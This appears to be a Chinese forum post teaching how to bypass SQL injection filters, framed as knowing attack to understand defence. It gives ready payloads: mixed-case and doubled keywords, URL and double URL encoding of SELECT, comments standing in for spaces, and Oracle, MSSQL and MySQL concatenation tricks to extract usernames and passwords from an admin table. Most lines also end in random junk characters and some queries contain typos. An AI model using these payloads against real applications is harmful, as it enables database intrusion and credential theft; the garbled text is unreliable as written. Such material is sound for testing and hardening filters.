SQL注入。有攻有防。知道进攻。才懂得防守.) g; f$ M' \5 y
0 p3 s3 J% y! e$ a
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
9 E8 z! x3 o- p2 k- O( w% T
# Q) {( P- S' n0 w) e/ E+ V9 n4 E唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
( h' J# q5 p& M3 T+ S" R6 E
) b, a& @ o) F我们通常有以下几种技巧,去避开这些过滤。8 Y( q+ S3 P3 Q' E/ ]2 [
6 V8 @2 k; z q1 O1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。, q4 F' I+ F3 b: J
2 M' J. l, j& a- a
A,如果注入一个数字数据字段,就不需要使用单引号。! q4 ~. k! E% c# _0 S
1 c) u- W$ }* _8 f' s2 {
B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。
- B( [4 z. \6 m K' i, S Y5 d* V B& I$ C9 L0 K
比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a/ \! O$ Z' j! D% V
5 P% N2 i. a" Q$ D5 o目的其实很简单,就是把后面的单引号给闭合掉。
|! r& J6 f; ~$ m8 r/ d' w
# b1 V7 u) O1 x$ S. dC,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
* L- q8 N1 f# E* T" I/ n! p' c6 Q: g
}5 j+ l4 _8 @. u5 I. o) p只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。
6 M" `7 w. e0 E8 O8 c9 ~" Y: [. G2 P" C& m1 g3 p9 E. _: B
2,避免使用简单确认 B& H* E# W0 R) }! w: I
& q7 @5 o2 H% ]+ ]) ]. w) Z# X
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。9 T8 J$ H1 ]% w' _% u; D
: e% D$ o, `/ V这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
1 e, t. j; E& Z; \" Y
1 V" ?5 C9 V& Q! i( H& u7 R+ I. T+ L! TA,如果select关键词被阻止或删除1 B* b# W. T9 ~: W( L
9 |/ [2 }- D2 a我们可以输入:
% H- ], d' B7 z; o/ [1 F/ u0 N! ~
SeLeCt 注意大小写
+ f' `3 Q; J/ [0 ~: b/ Y
6 m: O; e R9 w$ B% ?( z7 c! kselselectect 还记得ewebeditor是怎么过滤asp的么?
+ Y' V( G: t+ X/ Y# u/ t# m K& M* J
7 O! k- P( ~9 n I8 e7 w7 |1 U5 f& z%53%45%4c%45%43%54 URL编码
7 m5 Y! R. D" a! t+ }! R+ E
U0 B/ |5 O* `2 v* Y& E, I: i+ y%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25
; t4 q: d1 [. x7 U# v+ d' R/ b' i& m8 A( y& v/ a
3,使用SQL注释符8 J4 f) R, W* U: F( G# p' `! J
/ ?% w( M' c0 S: P( D( w+ YA,使用注释来冒充注入的数据中的空格。- g, F5 c: c( K! u' _) r
`- R4 t. y5 i( q [! C' U7 K
select/*yesu*/username,password/*yesu*/from/*yesu*/admin; A" p; w0 i- g, v
+ |% C: ^5 o2 @9 \3 v/*yesu*/来冒充空格
- _* c7 P3 |( J' c; m- g& h1 H4 H
B,使用注释来避开某些注入的确认过滤。 F0 l1 i( |- \- n ^0 F% | X
$ M: |2 w* c& r) [* q/ @; O1 C- x
SEL/*yesu*/ECT username,password fr/*yesu*/om admin
, @& S2 j" ]+ f. {) B2 {( j" g" @
4,处理被阻止的字符串8 L: ~3 _1 q& q' g8 i5 }
# V/ G% t3 r8 w4 `
比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
9 Y7 O0 M' k. ?1 H. f& [
$ T- G0 `( F7 z) }, U5 `$ t我们可以这样8 k0 j$ o) U% W& y* o
$ e3 G/ Q5 ]0 @9 N% lA,oracle数据库: ‘adm’||’in’8 [4 G4 v0 Y- X. h
$ T9 e; q! M% v/ B2 i& J2 d
B,MSSQL数据库: ‘adm’+’in’* V+ O. K- e+ l { {, r0 O5 N! j4 y
* @8 z& v3 y2 |) d) |$ f1 v9 t
C,MYSQL数据库: concat (‘adm’,’in’)8 J0 f) t8 y& y2 {( f5 b8 z6 Y
% D1 q/ t+ f) J. x/ T3 t7 n2 Q
D,oracle中如果单引号被阻止了,还可以用chr函数! `) D$ k m4 d* T- |( B- C
6 |( ~3 B2 c/ s6 N4 X
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)% h% g& R9 } y$ S! f
6 Q; R; Y) Z# B* v3 G9 S) I
还有其他方法。正在收集中.
. `, H. b2 J+ \+ f, e0 v% c7 W$ l) t
|